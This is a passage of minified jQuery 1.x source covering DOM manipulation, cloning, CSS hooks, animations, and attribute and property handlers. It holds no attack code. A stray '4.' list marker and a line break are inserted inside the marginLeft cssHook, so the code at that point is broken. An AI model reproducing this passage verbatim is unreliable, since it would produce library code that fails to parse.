e.events)n.removeEvent(b,d,e.handle);b.removeAttribute(n.expando)}"script"===c&&b.text!==a.text?(Da(b).text=a.text,Ea(b)):"object"===c?(b.parentNode&&(b.outerHTML=a.outerHTML),l.html5Clone&&a.innerHTML&&!n.trim(b.innerHTML)&&(b.innerHTML=a.innerHTML)):"input"===c&&Z.test(a.type)?(b.defaultChecked=b.checked=a.checked,b.value!==a.value&&(b.value=a.value)):"option"===c?b.defaultSelected=b.selected=a.defaultSelected:"input"!==c&&"textarea"!==c||(b.defaultValue=a.defaultValue)}}function Ha(a,b,c,d){b=f.apply([],b);var e,g,h,i,j,k,m=0,o=a.length,p=o-1,q=b[0],r=n.isFunction(q);if(r||o>1&&"string"==typeof q&&!l.checkClone&&xa.test(q))return a.each(function(e){var f=a.eq(e);r&&(b[0]=q.call(this,e,f.html())),Ha(f,b,c,d)});if(o&&(k=ja(b,a[0].ownerDocument,!1,a,d),e=k.firstChild,1===k.childNodes.length&&(k=e),e||d)){for(i=n.map(ea(k,"script"),Da),h=i.length;o>m;m++)g=k,m!==p&&(g=n.clone(g,!0,!0),h&&n.merge(i,ea(g,"script"))),c.call(a[m],g,m);if(h)for(j=i[i.length-1].ownerDocument,n.map(i,Ea),m=0;h>m;m++)g=i[m],_.test(g.type||"")&&!n._data(g,"globalEval")&&n.contains(j,g)&&(g.src?n._evalUrl&&n._evalUrl(g.src):n.globalEval((g.text||g.textContent||g.innerHTML||"").replace(za,"")));k=e=null}return a}function Ia(a,b,c){for(var d,e=b?n.filter(b,a):a,f=0;null!=(d=e[f]);f++)c||1!==d.nodeType||n.cleanData(ea(d)),d.parentNode&&(c&&n.contains(d.ownerDocument,d)&&fa(ea(d,"script")),d.parentNode.removeChild(d));return a}n.extend({htmlPrefilter:function(a){return a.replace(va,"<$1></$2>")},clone:function(a,b,c){var d,e,f,g,h,i=n.contains(a.ownerDocument,a);if(l.html5Clone||n.isXMLDoc(a)||!ua.test("<"+a.nodeName+">")?f=a.cloneNode(!0):(Ba.innerHTML=a.outerHTML,Ba.removeChild(f=Ba.firstChild)),!(l.noCloneEvent&&l.noCloneChecked||1!==a.nodeType&&11!==a.nodeType||n.isXMLDoc(a)))for(d=ea(f),h=ea(a),g=0;null!=(e=h[g]);++g)d[g]&&Ga(e,d[g]);if(b)if(c)for(h=h||ea(a),d=d||ea(f),g=0;null!=(e=h[g]);g++)Fa(e,d[g]);else Fa(a,f);return d=ea(f,"script"),d.length>0&&fa(d,!i&&ea(a,"script")),d=h=e=null,f},cleanData:function(a,b){for(var d,e,f,g,h=0,i=n.expando,j=n.cache,k=l.attributes,m=n.event.special;null!=(d=a[h]);h++)if((b||M(d))&&(f=d[i],g=f&&j[f])){if(g.events)for(e in g.events)m[e]?n.event.remove(d,e):n.removeEvent(d,e,g.handle);j[f]&&(delete j[f],k||"undefined"==typeof d.removeAttribute?d[i]=void 0:d.removeAttribute(i),c.push(f))}}}),n.fn.extend({domManip:Ha,detach:function(a){return Ia(this,a,!0)},remove:function(a){return Ia(this,a)},text:function(a){return Y(this,function(a){return void 0===a?n.text(this):this.empty().append((this[0]&&this[0].ownerDocument||d).createTextNode(a))},null,a,arguments.length)},append:function(){return Ha(this,arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=Ca(this,a);b.appendChild(a)}})},prepend:function(){return Ha(this,arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=Ca(this,a);b.insertBefore(a,b.firstChild)}})},before:function(){return Ha(this,arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this)})},after:function(){return Ha(this,arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this.nextSibling)})},empty:function(){for(var a,b=0;null!=(a=this[b]);b++){1===a.nodeType&&n.cleanData(ea(a,!1));while(a.firstChild)a.removeChild(a.firstChild);a.options&&n.nodeName(a,"select")&&(a.options.length=0)}return this},clone:function(a,b){return a=null==a?!1:a,b=null==b?a:b,this.map(function(){return n.clone(this,a,b)})},html:function(a){return Y(this,function(a){var b=this[0]||{},c=0,d=this.length;if(void 0===a)return 1===b.nodeType?b.innerHTML.replace(ta,""):void 0;if("string"==typeof a&&!wa.test(a)&&(l.htmlSerialize||!ua.test(a))&&(l.leadingWhitespace||!aa.test(a))&&!da[($.exec(a)||["",""])[1].toLowerCase()]){a=n.htmlPrefilter(a);try{for(;d>c;c++)b=this[c]||{},1===b.nodeType&&(n.cleanData(ea(b,!1)),b.innerHTML=a);b=0}catch(e){}}b&&this.empty().append(a)},null,a,arguments.length)},replaceWith:function(){var a=[];return Ha(this,arguments,function(b){var c=this.parentNode;n.inArray(this,a)<0&&(n.cleanData(ea(this)),c&&c.replaceChild(b,this))},a)}}),n.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){n.fn[a]=function(a){for(var c,d=0,e=[],f=n(a),h=f.length-1;h>=d;d++)c=d===h?this:this.clone(!0),n(f[d])[b](c),g.apply(e,c.get());return this.pushStack(e)}});var Ja,Ka={HTML:"block",BODY:"block"};function La(a,b){var c=n(b.createElement(a)).appendTo(b.body),d=n.css(c[0],"display");return c.detach(),d}function Ma(a){var b=d,c=Ka[a];return c||(c=La(a,b),"none"!==c&&c||(Ja=(Ja||n("<iframe frameborder='0' width='0' height='0'/>")).appendTo(b.documentElement),b=(Ja[0].contentWindow||Ja[0].contentDocument).document,b.write(),b.close(),c=La(a,b),Ja.detach()),Ka[a]=c),c}var Na=/^margin/,Oa=new RegExp("^("+T+")(?!px)[a-z%]+$","i"),Pa=function(a,b,c,d){var e,f,g={};for(f in b)g[f]=a.style[f],a.style[f]=b[f];e=c.apply(a,d||[]);for(f in b)a.style[f]=g[f];return e},Qa=d.documentElement;!function(){var b,c,e,f,g,h,i=d.createElement("div"),j=d.createElement("div");if(j.style){j.style.cssText="float:left;opacity:.5",l.opacity="0.5"===j.style.opacity,l.cssFloat=!!j.style.cssFloat,j.style.backgroundClip="content-box",j.cloneNode(!0).style.backgroundClip="",l.clearCloneStyle="content-box"===j.style.backgroundClip,i=d.createElement("div"),i.style.cssText="border:0;width:8px;height:0;top:0;left:-9999px;padding:0;margin-top:1px;position:absolute",j.innerHTML="",i.appendChild(j),l.boxSizing=""===j.style.boxSizing||""===j.style.MozBoxSizing||""===j.style.WebkitBoxSizing,n.extend(l,{reliableHiddenOffsets:function(){return null==b&&k(),f},boxSizingReliable:function(){return null==b&&k(),e},pixelMarginRight:function(){return null==b&&k(),c},pixelPosition:function(){return null==b&&k(),b},reliableMarginRight:function(){return null==b&&k(),g},reliableMarginLeft:function(){return null==b&&k(),h}});function k(){var k,l,m=d.documentElement;m.appendChild(i),j.style.cssText="-webkit-box-sizing:border-box;box-sizing:border-box;position:relative;display:block;margin:auto;border:1px;padding:1px;top:1%;width:50%",b=e=h=!1,c=g=!0,a.getComputedStyle&&(l=a.getComputedStyle(j),b="1%"!==(l||{}).top,h="2px"===(l||{}).marginLeft,e="4px"===(l||{width:"4px"}).width,j.style.marginRight="50%",c="4px"===(l||{marginRight:"4px"}).marginRight,k=j.appendChild(d.createElement("div")),k.style.cssText=j.style.cssText="-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;display:block;margin:0;border:0;padding:0",k.style.marginRight=k.style.width="0",j.style.width="1px",g=!parseFloat((a.getComputedStyle(k)||{}).marginRight),j.removeChild(k)),j.style.display="none",f=0===j.getClientRects().length,f&&(j.style.display="",j.innerHTML="<table><tr><td></td><td>t</td></tr></table>",j.childNodes[0].style.borderCollapse="separate",k=j.getElementsByTagName("td"),k[0].style.cssText="margin:0;border:0;padding:0;display:none",f=0===k[0].offsetHeight,f&&(k[0].style.display="",k[1].style.display="none",f=0===k[0].offsetHeight)),m.removeChild(i)}}}();var Ra,Sa,Ta=/^(top|right|bottom|left)$/;a.getComputedStyle?(Ra=function(b){var c=b.ownerDocument.defaultView;return c&&c.opener||(c=a),c.getComputedStyle(b)},Sa=function(a,b,c){var d,e,f,g,h=a.style;return c=c||Ra(a),g=c?c.getPropertyValue(b)||c[b]:void 0,""!==g&&void 0!==g||n.contains(a.ownerDocument,a)||(g=n.style(a,b)),c&&!l.pixelMarginRight()&&Oa.test(g)&&Na.test(b)&&(d=h.width,e=h.minWidth,f=h.maxWidth,h.minWidth=h.maxWidth=h.width=g,g=c.width,h.width=d,h.minWidth=e,h.maxWidth=f),void 0===g?g:g+""}):Qa.currentStyle&&(Ra=function(a){return a.currentStyle},Sa=function(a,b,c){var d,e,f,g,h=a.style;return c=c||Ra(a),g=c?c[b]:void 0,null==g&&h&&h[b]&&(g=h[b]),Oa.test(g)&&!Ta.test(b)&&(d=h.left,e=a.runtimeStyle,f=e&&e.left,f&&(e.left=a.currentStyle.left),h.left="fontSize"===b?"1em":g,g=h.pixelLeft+"px",h.left=d,f&&(e.left=f)),void 0===g?g:g+""||"auto"});function Ua(a,b){return{get:function(){return a()?void delete this.get:(this.get=b).apply(this,arguments)}}}var Va=/alpha\([^)]*\)/i,Wa=/opacity\s*=\s*([^)]*)/i,Xa=/^(none|table(?!-c[ea]).+)/,Ya=new RegExp("^("+T+")(.*)$","i"),Za={position:"absolute",visibility:"hidden",display:"block"},$a={letterSpacing:"0",fontWeight:"400"},_a=["Webkit","O","Moz","ms"],ab=d.createElement("div").style;function bb(a){if(a in ab)return a;var b=a.charAt(0).toUpperCase()+a.slice(1),c=_a.length;while(c--)if(a=_a[c]+b,a in ab)return a}function cb(a,b){for(var c,d,e,f=[],g=0,h=a.length;h>g;g++)d=a[g],d.style&&(f[g]=n._data(d,"olddisplay"),c=d.style.display,b?(f[g]||"none"!==c||(d.style.display=""),""===d.style.display&&W(d)&&(f[g]=n._data(d,"olddisplay",Ma(d.nodeName)))):(e=W(d),(c&&"none"!==c||!e)&&n._data(d,"olddisplay",e?c:n.css(d,"display"))));for(g=0;h>g;g++)d=a[g],d.style&&(b&&"none"!==d.style.display&&""!==d.style.display||(d.style.display=b?f[g]||"":"none"));return a}function db(a,b,c){var d=Ya.exec(b);return d?Math.max(0,d[1]-(c||0))+(d[2]||"px"):b}function eb(a,b,c,d,e){for(var f=c===(d?"border":"content")?4:"width"===b?1:0,g=0;4>f;f+=2)"margin"===c&&(g+=n.css(a,c+V[f],!0,e)),d?("content"===c&&(g-=n.css(a,"padding"+V[f],!0,e)),"margin"!==c&&(g-=n.css(a,"border"+V[f]+"Width",!0,e))):(g+=n.css(a,"padding"+V[f],!0,e),"padding"!==c&&(g+=n.css(a,"border"+V[f]+"Width",!0,e)));return g}function fb(a,b,c){var d=!0,e="width"===b?a.offsetWidth:a.offsetHeight,f=Ra(a),g=l.boxSizing&&"border-box"===n.css(a,"boxSizing",!1,f);if(0>=e||null==e){if(e=Sa(a,b,f),(0>e||null==e)&&(e=a.style[b]),Oa.test(e))return e;d=g&&(l.boxSizingReliable()||e===a.style[b]),e=parseFloat(e)||0}return e+eb(a,b,c||(g?"border":"content"),d,f)+"px"}n.extend({cssHooks:{opacity:{get:function(a,b){if(b){var c=Sa(a,"opacity");return""===c?"1":c}}}},cssNumber:{animationIterationCount:!0,columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{"float":l.cssFloat?"cssFloat":"styleFloat"},style:function(a,b,c,d){if(a&&3!==a.nodeType&&8!==a.nodeType&&a.style){var e,f,g,h=n.camelCase(b),i=a.style;if(b=n.cssProps[h]||(n.cssProps[h]=bb(h)||h),g=n.cssHooks[b]||n.cssHooks[h],void 0===c)return g&&"get"in g&&void 0!==(e=g.get(a,!1,d))?e:i[b];if(f=typeof c,"string"===f&&(e=U.exec(c))&&e[1]&&(c=X(a,b,e),f="number"),null!=c&&c===c&&("number"===f&&(c+=e&&e[3]||(n.cssNumber[h]?"":"px")),l.clearCloneStyle||""!==c||0!==b.indexOf("background")||(i[b]="inherit"),!(g&&"set"in g&&void 0===(c=g.set(a,c,d)))))try{i[b]=c}catch(j){}}},css:function(a,b,c,d){var e,f,g,h=n.camelCase(b);return b=n.cssProps[h]||(n.cssProps[h]=bb(h)||h),g=n.cssHooks[b]||n.cssHooks[h],g&&"get"in g&&(f=g.get(a,!0,c)),void 0===f&&(f=Sa(a,b,d)),"normal"===f&&b in $a&&(f=$a[b]),""===c||c?(e=parseFloat(f),c===!0||isFinite(e)?e||0:f):f}}),n.each(["height","width"],function(a,b){n.cssHooks[b]={get:function(a,c,d){return c?Xa.test(n.css(a,"display"))&&0===a.offsetWidth?Pa(a,Za,function(){return fb(a,b,d)}):fb(a,b,d):void 0},set:function(a,c,d){var e=d&&Ra(a);return db(a,c,d?eb(a,b,d,l.boxSizing&&"border-box"===n.css(a,"boxSizing",!1,e),e):0)}}}),l.opacity||(n.cssHooks.opacity={get:function(a,b){return Wa.test((b&&a.currentStyle?a.currentStyle.filter:a.style.filter)||"")?.01*parseFloat(RegExp.$1)+"":b?"1":""},set:function(a,b){var c=a.style,d=a.currentStyle,e=n.isNumeric(b)?"alpha(opacity="+100*b+")":"",f=d&&d.filter||c.filter||"";c.zoom=1,(b>=1||""===b)&&""===n.trim(f.replace(Va,""))&&c.removeAttribute&&(c.removeAttribute("filter"),""===b||d&&!d.filter)||(c.filter=Va.test(f)?f.replace(Va,e):f+" "+e)}}),n.cssHooks.marginRight=Ua(l.reliableMarginRight,function(a,b){return b?Pa(a,{display:"inline-block"},Sa,[a,"marginRight"]):void 0}),n.cssHooks.marginLeft=Ua(l.reliableMarginLeft,function(a,b){return b?(parseFloat(Sa(a,"marginLeft"))||(n.contains(a.ownerDocument,a)?a.getBoundingClientRect().left-Pa(a,{
  4. marginLeft:0},function(){return a.getBoundingClientRect().left}):0))+"px":void 0}),n.each({margin:"",padding:"",border:"Width"},function(a,b){n.cssHooks[a+b]={expand:function(c){for(var d=0,e={},f="string"==typeof c?c.split(" "):[c];4>d;d++)e[a+V[d]+b]=f[d]||f[d-2]||f[0];return e}},Na.test(a)||(n.cssHooks[a+b].set=db)}),n.fn.extend({css:function(a,b){return Y(this,function(a,b,c){var d,e,f={},g=0;if(n.isArray(b)){for(d=Ra(a),e=b.length;e>g;g++)f[b[g]]=n.css(a,b[g],!1,d);return f}return void 0!==c?n.style(a,b,c):n.css(a,b)},a,b,arguments.length>1)},show:function(){return cb(this,!0)},hide:function(){return cb(this)},toggle:function(a){return"boolean"==typeof a?a?this.show():this.hide():this.each(function(){W(this)?n(this).show():n(this).hide()})}});function gb(a,b,c,d,e){return new gb.prototype.init(a,b,c,d,e)}n.Tween=gb,gb.prototype={constructor:gb,init:function(a,b,c,d,e,f){this.elem=a,this.prop=c,this.easing=e||n.easing._default,this.options=b,this.start=this.now=this.cur(),this.end=d,this.unit=f||(n.cssNumber[c]?"":"px")},cur:function(){var a=gb.propHooks[this.prop];return a&&a.get?a.get(this):gb.propHooks._default.get(this)},run:function(a){var b,c=gb.propHooks[this.prop];return this.options.duration?this.pos=b=n.easing[this.easing](a,this.options.duration*a,0,1,this.options.duration):this.pos=b=a,this.now=(this.end-this.start)*b+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),c&&c.set?c.set(this):gb.propHooks._default.set(this),this}},gb.prototype.init.prototype=gb.prototype,gb.propHooks={_default:{get:function(a){var b;return 1!==a.elem.nodeType||null!=a.elem[a.prop]&&null==a.elem.style[a.prop]?a.elem[a.prop]:(b=n.css(a.elem,a.prop,""),b&&"auto"!==b?b:0)},set:function(a){n.fx.step[a.prop]?n.fx.step[a.prop](a):1!==a.elem.nodeType||null==a.elem.style[n.cssProps[a.prop]]&&!n.cssHooks[a.prop]?a.elem[a.prop]=a.now:n.style(a.elem,a.prop,a.now+a.unit)}}},gb.propHooks.scrollTop=gb.propHooks.scrollLeft={set:function(a){a.elem.nodeType&&a.elem.parentNode&&(a.elem[a.prop]=a.now)}},n.easing={linear:function(a){return a},swing:function(a){return.5-Math.cos(a*Math.PI)/2},_default:"swing"},n.fx=gb.prototype.init,n.fx.step={};var hb,ib,jb=/^(?:toggle|show|hide)$/,kb=/queueHooks$/;function lb(){return a.setTimeout(function(){hb=void 0}),hb=n.now()}function mb(a,b){var c,d={height:a},e=0;for(b=b?1:0;4>e;e+=2-b)c=V[e],d["margin"+c]=d["padding"+c]=a;return b&&(d.opacity=d.width=a),d}function nb(a,b,c){for(var d,e=(qb.tweeners[b]||[]).concat(qb.tweeners["*"]),f=0,g=e.length;g>f;f++)if(d=e[f].call(c,b,a))return d}function ob(a,b,c){var d,e,f,g,h,i,j,k,m=this,o={},p=a.style,q=a.nodeType&&W(a),r=n._data(a,"fxshow");c.queue||(h=n._queueHooks(a,"fx"),null==h.unqueued&&(h.unqueued=0,i=h.empty.fire,h.empty.fire=function(){h.unqueued||i()}),h.unqueued++,m.always(function(){m.always(function(){h.unqueued--,n.queue(a,"fx").length||h.empty.fire()})})),1===a.nodeType&&("height"in b||"width"in b)&&(c.overflow=[p.overflow,p.overflowX,p.overflowY],j=n.css(a,"display"),k="none"===j?n._data(a,"olddisplay")||Ma(a.nodeName):j,"inline"===k&&"none"===n.css(a,"float")&&(l.inlineBlockNeedsLayout&&"inline"!==Ma(a.nodeName)?p.zoom=1:p.display="inline-block")),c.overflow&&(p.overflow="hidden",l.shrinkWrapBlocks()||m.always(function(){p.overflow=c.overflow[0],p.overflowX=c.overflow[1],p.overflowY=c.overflow[2]}));for(d in b)if(e=b[d],jb.exec(e)){if(delete b[d],f=f||"toggle"===e,e===(q?"hide":"show")){if("show"!==e||!r||void 0===r[d])continue;q=!0}o[d]=r&&r[d]||n.style(a,d)}else j=void 0;if(n.isEmptyObject(o))"inline"===("none"===j?Ma(a.nodeName):j)&&(p.display=j);else{r?"hidden"in r&&(q=r.hidden):r=n._data(a,"fxshow",{}),f&&(r.hidden=!q),q?n(a).show():m.done(function(){n(a).hide()}),m.done(function(){var b;n._removeData(a,"fxshow");for(b in o)n.style(a,b,o[b])});for(d in o)g=nb(q?r[d]:0,d,m),d in r||(r[d]=g.start,q&&(g.end=g.start,g.start="width"===d||"height"===d?1:0))}}function pb(a,b){var c,d,e,f,g;for(c in a)if(d=n.camelCase(c),e=b[d],f=a[c],n.isArray(f)&&(e=f[1],f=a[c]=f[0]),c!==d&&(a[d]=f,delete a[c]),g=n.cssHooks[d],g&&"expand"in g){f=g.expand(f),delete a[d];for(c in f)c in a||(a[c]=f[c],b[c]=e)}else b[d]=e}function qb(a,b,c){var d,e,f=0,g=qb.prefilters.length,h=n.Deferred().always(function(){delete i.elem}),i=function(){if(e)return!1;for(var b=hb||lb(),c=Math.max(0,j.startTime+j.duration-b),d=c/j.duration||0,f=1-d,g=0,i=j.tweens.length;i>g;g++)j.tweens[g].run(f);return h.notifyWith(a,[j,f,c]),1>f&&i?c:(h.resolveWith(a,[j]),!1)},j=h.promise({elem:a,props:n.extend({},b),opts:n.extend(!0,{specialEasing:{},easing:n.easing._default},c),originalProperties:b,originalOptions:c,startTime:hb||lb(),duration:c.duration,tweens:[],createTween:function(b,c){var d=n.Tween(a,j.opts,b,c,j.opts.specialEasing[b]||j.opts.easing);return j.tweens.push(d),d},stop:function(b){var c=0,d=b?j.tweens.length:0;if(e)return this;for(e=!0;d>c;c++)j.tweens[c].run(1);return b?(h.notifyWith(a,[j,1,0]),h.resolveWith(a,[j,b])):h.rejectWith(a,[j,b]),this}}),k=j.props;for(pb(k,j.opts.specialEasing);g>f;f++)if(d=qb.prefilters[f].call(j,a,k,j.opts))return n.isFunction(d.stop)&&(n._queueHooks(j.elem,j.opts.queue).stop=n.proxy(d.stop,d)),d;return n.map(k,nb,j),n.isFunction(j.opts.start)&&j.opts.start.call(a,j),n.fx.timer(n.extend(i,{elem:a,anim:j,queue:j.opts.queue})),j.progress(j.opts.progress).done(j.opts.done,j.opts.complete).fail(j.opts.fail).always(j.opts.always)}n.Animation=n.extend(qb,{tweeners:{"*":[function(a,b){var c=this.createTween(a,b);return X(c.elem,a,U.exec(b),c),c}]},tweener:function(a,b){n.isFunction(a)?(b=a,a=["*"]):a=a.match(G);for(var c,d=0,e=a.length;e>d;d++)c=a[d],qb.tweeners[c]=qb.tweeners[c]||[],qb.tweeners[c].unshift(b)},prefilters:[ob],prefilter:function(a,b){b?qb.prefilters.unshift(a):qb.prefilters.push(a)}}),n.speed=function(a,b,c){var d=a&&"object"==typeof a?n.extend({},a):{complete:c||!c&&b||n.isFunction(a)&&a,duration:a,easing:c&&b||b&&!n.isFunction(b)&&b};return d.duration=n.fx.off?0:"number"==typeof d.duration?d.duration:d.duration in n.fx.speeds?n.fx.speeds[d.duration]:n.fx.speeds._default,null!=d.queue&&d.queue!==!0||(d.queue="fx"),d.old=d.complete,d.complete=function(){n.isFunction(d.old)&&d.old.call(this),d.queue&&n.dequeue(this,d.queue)},d},n.fn.extend({fadeTo:function(a,b,c,d){return this.filter(W).css("opacity",0).show().end().animate({opacity:b},a,c,d)},animate:function(a,b,c,d){var e=n.isEmptyObject(a),f=n.speed(b,c,d),g=function(){var b=qb(this,n.extend({},a),f);(e||n._data(this,"finish"))&&b.stop(!0)};return g.finish=g,e||f.queue===!1?this.each(g):this.queue(f.queue,g)},stop:function(a,b,c){var d=function(a){var b=a.stop;delete a.stop,b(c)};return"string"!=typeof a&&(c=b,b=a,a=void 0),b&&a!==!1&&this.queue(a||"fx",[]),this.each(function(){var b=!0,e=null!=a&&a+"queueHooks",f=n.timers,g=n._data(this);if(e)g[e]&&g[e].stop&&d(g[e]);else for(e in g)g[e]&&g[e].stop&&kb.test(e)&&d(g[e]);for(e=f.length;e--;)f[e].elem!==this||null!=a&&f[e].queue!==a||(f[e].anim.stop(c),b=!1,f.splice(e,1));!b&&c||n.dequeue(this,a)})},finish:function(a){return a!==!1&&(a=a||"fx"),this.each(function(){var b,c=n._data(this),d=c[a+"queue"],e=c[a+"queueHooks"],f=n.timers,g=d?d.length:0;for(c.finish=!0,n.queue(this,a,[]),e&&e.stop&&e.stop.call(this,!0),b=f.length;b--;)f[b].elem===this&&f[b].queue===a&&(f[b].anim.stop(!0),f.splice(b,1));for(b=0;g>b;b++)d[b]&&d[b].finish&&d[b].finish.call(this);delete c.finish})}}),n.each(["toggle","show","hide"],function(a,b){var c=n.fn[b];n.fn[b]=function(a,d,e){return null==a||"boolean"==typeof a?c.apply(this,arguments):this.animate(mb(b,!0),a,d,e)}}),n.each({slideDown:mb("show"),slideUp:mb("hide"),slideToggle:mb("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(a,b){n.fn[a]=function(a,c,d){return this.animate(b,a,c,d)}}),n.timers=[],n.fx.tick=function(){var a,b=n.timers,c=0;for(hb=n.now();c<b.length;c++)a=b[c],a()||b[c]!==a||b.splice(c--,1);b.length||n.fx.stop(),hb=void 0},n.fx.timer=function(a){n.timers.push(a),a()?n.fx.start():n.timers.pop()},n.fx.interval=13,n.fx.start=function(){ib||(ib=a.setInterval(n.fx.tick,n.fx.interval))},n.fx.stop=function(){a.clearInterval(ib),ib=null},n.fx.speeds={slow:600,fast:200,_default:400},n.fn.delay=function(b,c){return b=n.fx?n.fx.speeds[b]||b:b,c=c||"fx",this.queue(c,function(c,d){var e=a.setTimeout(c,b);d.stop=function(){a.clearTimeout(e)}})},function(){var a,b=d.createElement("input"),c=d.createElement("div"),e=d.createElement("select"),f=e.appendChild(d.createElement("option"));c=d.createElement("div"),c.setAttribute("className","t"),c.innerHTML=" <link/><table></table><a href='/a'>a</a><input type='checkbox'/>",a=c.getElementsByTagName("a")[0],b.setAttribute("type","checkbox"),c.appendChild(b),a=c.getElementsByTagName("a")[0],a.style.cssText="top:1px",l.getSetAttribute="t"!==c.className,l.style=/top/.test(a.getAttribute("style")),l.hrefNormalized="/a"===a.getAttribute("href"),l.checkOn=!!b.value,l.optSelected=f.selected,l.enctype=!!d.createElement("form").enctype,e.disabled=!0,l.optDisabled=!f.disabled,b=d.createElement("input"),b.setAttribute("value",""),l.input=""===b.getAttribute("value"),b.value="t",b.setAttribute("type","radio"),l.radioValue="t"===b.value}();var rb=/\r/g,sb=/[\x20\t\r\n\f]+/g;n.fn.extend({val:function(a){var b,c,d,e=this[0];{if(arguments.length)return d=n.isFunction(a),this.each(function(c){var e;1===this.nodeType&&(e=d?a.call(this,c,n(this).val()):a,null==e?e="":"number"==typeof e?e+="":n.isArray(e)&&(e=n.map(e,function(a){return null==a?"":a+""})),b=n.valHooks[this.type]||n.valHooks[this.nodeName.toLowerCase()],b&&"set"in b&&void 0!==b.set(this,e,"value")||(this.value=e))});if(e)return b=n.valHooks[e.type]||n.valHooks[e.nodeName.toLowerCase()],b&&"get"in b&&void 0!==(c=b.get(e,"value"))?c:(c=e.value,"string"==typeof c?c.replace(rb,""):null==c?"":c)}}}),n.extend({valHooks:{option:{get:function(a){var b=n.find.attr(a,"value");return null!=b?b:n.trim(n.text(a)).replace(sb," ")}},select:{get:function(a){for(var b,c,d=a.options,e=a.selectedIndex,f="select-one"===a.type||0>e,g=f?null:[],h=f?e+1:d.length,i=0>e?h:f?e:0;h>i;i++)if(c=d[i],(c.selected||i===e)&&(l.optDisabled?!c.disabled:null===c.getAttribute("disabled"))&&(!c.parentNode.disabled||!n.nodeName(c.parentNode,"optgroup"))){if(b=n(c).val(),f)return b;g.push(b)}return g},set:function(a,b){var c,d,e=a.options,f=n.makeArray(b),g=e.length;while(g--)if(d=e[g],n.inArray(n.valHooks.option.get(d),f)>-1)try{d.selected=c=!0}catch(h){d.scrollHeight}else d.selected=!1;return c||(a.selectedIndex=-1),e}}}}),n.each(["radio","checkbox"],function(){n.valHooks[this]={set:function(a,b){return n.isArray(b)?a.checked=n.inArray(n(a).val(),b)>-1:void 0}},l.checkOn||(n.valHooks[this].get=function(a){return null===a.getAttribute("value")?"on":a.value})});var tb,ub,vb=n.expr.attrHandle,wb=/^(?:checked|selected)$/i,xb=l.getSetAttribute,yb=l.input;n.fn.extend({attr:function(a,b){return Y(this,n.attr,a,b,arguments.length>1)},removeAttr:function(a){return this.each(function(){n.removeAttr(this,a)})}}),n.extend({attr:function(a,b,c){var d,e,f=a.nodeType;if(3!==f&&8!==f&&2!==f)return"undefined"==typeof a.getAttribute?n.prop(a,b,c):(1===f&&n.isXMLDoc(a)||(b=b.toLowerCase(),e=n.attrHooks[b]||(n.expr.match.bool.test(b)?ub:tb)),void 0!==c?null===c?void n.removeAttr(a,b):e&&"set"in e&&void 0!==(d=e.set(a,c,b))?d:(a.setAttribute(b,c+""),c):e&&"get"in e&&null!==(d=e.get(a,b))?d:(d=n.find.attr(a,b),null==d?void 0:d))},attrHooks:{type:{set:function(a,b){if(!l.radioValue&&"radio"===b&&n.nodeName(a,"input")){var c=a.value;return a.setAttribute("type",b),c&&(a.value=c),b}}}},removeAttr:function(a,b){var c,d,e=0,f=b&&b.match(G);if(f&&1===a.nodeType)while(c=f[e++])d=n.propFix[c]||c,n.expr.match.bool.test(c)?yb&&xb||!wb.test(c)?a[d]=!1:a[n.camelCase("default-"+c)]=a[d]=!1:n.attr(a,c,""),a.removeAttribute(xb?c:d)}}),ub={set:function(a,b,c){return b===!1?n.removeAttr(a,c):yb&&xb||!wb.test(c)?a.setAttribute(!xb&&n.propFix[c]||c,c):a[n.camelCase("default-"+c)]=a[c]=!0,c}},n.each(n.expr.match.bool.source.match(/\w+/g),function(a,b){var c=vb[b]||n.find.attr;yb&&xb||!wb.test(b)?vb[b]=function(a,b,d){var e,f;return d||(f=vb[b],vb[b]=e,e=null!=c(a,b,d)?b.toLowerCase():null,vb[b]=f),e}:vb[b]=function(a,b,c){return c?void 0:a[n.camelCase("default-"+b)]?b.toLowerCase():null}}),yb&&xb||(n.attrHooks.value={set:function(a,b,c){return n.nodeName(a,"input")?void(a.defaultValue=b):tb&&tb.set(a,b,c)}}),xb||(tb={set:function(a,b,c){var d=a.getAttributeNode(c);return d||a.setAttributeNode(d=a.ownerDocument.createAttribute(c)),d.value=b+="","value"===c||b===a.getAttribute(c)?b:void 0}},vb.id=vb.name=vb.coords=function(a,b,c){var d;return c?void 0:(d=a.getAttributeNode(b))&&""!==d.value?d.value:null},n.valHooks.button={get:function(a,b){var c=a.getAttributeNode(b);return c&&c.specified?c.value:void 0},set:tb.set},n.attrHooks.contenteditable={set:function(a,b,c){tb.set(a,""===b?!1:b,c)}},n.each(["width","height"],function(a,b){n.attrHooks[b]={set:function(a,c){return""===c?(a.setAttribute(b,"auto"),c):void 0}}})),l.style||(n.attrHooks.style={get:function(a){return a.style.cssText||void 0},set:function(a,b){return a.style.cssText=b+""}});var zb=/^(?:input|select|textarea|button|object)$/i,Ab=/^(?:a|area)$/i;n.fn.extend({prop:function(a,b){return Y(this,n.prop,a,b,arguments.length>1)},removeProp:function(a){return a=n.propFix[a]||a,this.each(function(){try{this[a]=void 0,delete this[a]}catch(b){}})}}),n.extend({prop:function(a,b,c){var d,e,f=a.nodeType;if(3!==f&&8!==f&&2!==f)return 1===f&&n.isXMLDoc(a)||(b=n.propFix[b]||b,e=n.propHooks[b]),void 0!==c?e&&"set"in e&&void 0!==(d=e.set(a,c,b))?d:a[b]=c:e&&"get"in e&&null!==(d=e.get(a,b))?d:a[b]},propHooks:{tabIndex:{get:function(a){var b=n.find.attr(a,"tabindex");return b?parseInt(b,10):zb.test(a.nodeName)||Ab.test(a.nodeName)&&a.href?0:-1}}},propFix:{"for":"htmlFor","class":"className"}}),l.hrefNormalized||n.each(["href","src"],function(a,b){n.propHooks[b]={get:function(a){return a.getAttribute(b,4)}}}),l.optSelected||(n.propHooks.selected={get:function(a){var b=a.parentNode;return 